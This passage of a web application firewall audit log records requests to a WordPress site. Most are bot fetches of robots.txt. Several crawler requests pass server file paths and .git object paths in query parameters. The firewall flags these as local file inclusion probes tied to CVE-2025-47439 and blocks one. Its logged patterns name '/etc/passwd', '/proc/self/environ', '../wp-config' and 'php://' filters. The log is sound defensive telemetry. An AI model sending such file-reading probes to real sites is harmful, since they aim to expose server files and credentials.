rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"e4c07f25a0b7cb7dc4e3543a0479fcb8","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":267,"p2":4666,"p3":0,"p4":0,"p5":359,"sr":145,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:47:27.923729 +0100","transaction_id":"abNQj4y-eB0XhjfRE2kr4wAAAQQ","remote_address":"57.141.20.20","remote_port":42062,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/opt/php8.2/lib/php/build/Makefile.global HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.20","X-Forwarded-Proto":"https","X-Request-Id":"c93d6fcd5101a1360815d26eaf99928f","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"30052801"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"c93d6fcd5101a1360815d26eaf99928f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php8.2/lib/php/build/Makefile.global||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":323,"p2":6330,"p3":0,"p4":0,"p5":366,"sr":143,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:47:48.642561 +0100","transaction_id":"abNQpCcEc8PfaX_DCKLa-AAAAMo","remote_address":"65.109.118.212","remote_port":52798,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"d45393233fb7e465859cb9c51e0ee5a5","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"25593981","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"d45393233fb7e465859cb9c51e0ee5a5","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":286,"p2":4663,"p3":0,"p4":0,"p5":335,"sr":134,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:49:30.461433 +0100","transaction_id":"abNRCkosXgskzHvsnQC9hwAAAVc","remote_address":"57.141.20.46","remote_port":60802,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/d0/9ceede4813a9167642cce58d63a14a6d6b537e HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.46","X-Forwarded-Proto":"https","X-Request-Id":"a6d3f468d64e1d1778ad474977a63909","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"30018508"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"a6d3f468d64e1d1778ad474977a63909","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/d0/9ceede4813a9167642cce58d63a14a6d6b537e||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":182,"p2":3609,"p3":0,"p4":0,"p5":477,"sr":100,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:49:36.499751 +0100","transaction_id":"abNREIy-eB0XhjfRE2ktawAAAQs","remote_address":"57.141.20.28","remote_port":34940,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/d3/2cd6f79363fe86fbdfa5edc2fa5a109ace85d1 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.28","X-Forwarded-Proto":"https","X-Request-Id":"843154e77387206dadf2f3299caf7edf","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"20421875"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"843154e77387206dadf2f3299caf7edf","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/d3/2cd6f79363fe86fbdfa5edc2fa5a109ace85d1||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":307,"p2":5557,"p3":0,"p4":0,"p5":354,"sr":138,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:49:49.790097 +0100","transaction_id":"abNRHQPfUmAczd2QoGWp1wAAAAo","remote_address":"65.109.118.212","remote_port":34944,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"79e683b8879506c0e1f8f88c82d8e2c6","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"30969668","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"79e683b8879506c0e1f8f88c82d8e2c6","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":182,"p2":3022,"p3":0,"p4":0,"p5":317,"sr":114,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:49:54.238955 +0100","transaction_id":"abNRIiz8c_poV-IkHVYoTAAAAYE","remote_address":"57.141.20.7","remote_port":44010,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/sftproot/htdocs/ptso.jmkconsulting-ci.com/wp-admin/includes/class-custom-background.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.7","X-Forwarded-Proto":"https","X-Request-Id":"af12aacfaf40b98b91c8ad757a51087a","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"27368978"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"af12aacfaf40b98b91c8ad757a51087a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"/wp-admin/includes/.*\\\\.php\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"598\"] [id \"430034\"] [msg \"Malware.Expert - request_uri: Wordpress - prevent PHP files from executing\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"/wp-admin/includes/.*\\\\\\\\\\\\\\\\.php\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"598\"] [id \"430034\"] [msg \"Malware.Expert - request_uri: Wordpress - prevent PHP files from executing\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/organic-products/\"] [unique_id \"abNRIiz8c_poV-IkHVYoTAAAAYE\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"/wp-admin/includes/.*\\\\.php\" at REQUEST_URI."},"stopwatch":{"p1":277,"p2":4274,"p3":0,"p4":0,"p5":310,"sr":137,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:51:38.913503 +0100","transaction_id":"abNRigPfUmAczd2QoGWqiAAAAAE","remote_address":"57.141.20.28","remote_port":55276,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/lib/locale/az_IR/LC_COLLATE HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.28","X-Forwarded-Proto":"https","X-Request-Id":"9a72a7fd3db37649bf154b6677a66b8c","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"30675537"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"9a72a7fd3db37649bf154b6677a66b8c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/lib/locale/az_IR/LC_COLLATE||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":284,"p2":5863,"p3":0,"p4":0,"p5":355,"sr":133,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:51:50.947936 +0100","transaction_id":"abNRloy-eB0XhjfRE2kvUwAAARQ","remote_address":"65.109.118.212","remote_port":52582,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"5f93756e0572681b3f72508faf4f000c","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"28842524","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"5f93756e0572681b3f72508faf4f000c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":197,"p2":4359,"p3":0,"p4":0,"p5":262,"sr":123,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:53:52.376510 +0100","transaction_id":"abNSEEosXgskzHvsnQDBJgAAAVA","remote_address":"65.109.118.212","remote_port":44546,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"292a72d6c20a79a6070b45711141c4a3","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"29658235","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"292a72d6c20a79a6070b45711141c4a3","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":305,"p2":5606,"p3":0,"p4":0,"p5":231,"sr":277,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:55:53.962342 +0100","transaction_id":"abNSiQPfUmAczd2QoGWtmgAAABM","remote_address":"65.109.118.212","remote_port":35026,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"03e6a539e27f34ed122963e12da6fec7","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"29493488","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"03e6a539e27f34ed122963e12da6fec7","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":358,"p2":6067,"p3":0,"p4":0,"p5":376,"sr":164,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:57:04.360205 +0100","transaction_id":"abNSzwhXxndD9xDx47w3KAAAAEc","remote_address":"57.141.20.54","remote_port":55948,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/7a/65dfb957bc155325a6ce05d1e72796d180ba01 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.54","X-Forwarded-Proto":"https","X-Request-Id":"5382129d6b11fdd3511c84b21e848695","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"21931338"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"5382129d6b11fdd3511c84b21e848695","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/7a/65dfb957bc155325a6ce05d1e72796d180ba01||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":282,"p2":5984,"p3":0,"p4":0,"p5":319,"sr":134,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:57:54.557450 +0100","transaction_id":"abNTAiz8c_poV-IkHVYsfQAAAYA","remote_address":"65.109.118.212","remote_port":48428,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"f75dc7d2f8d3ae4bd93e61af240402e4","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"29167903","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; 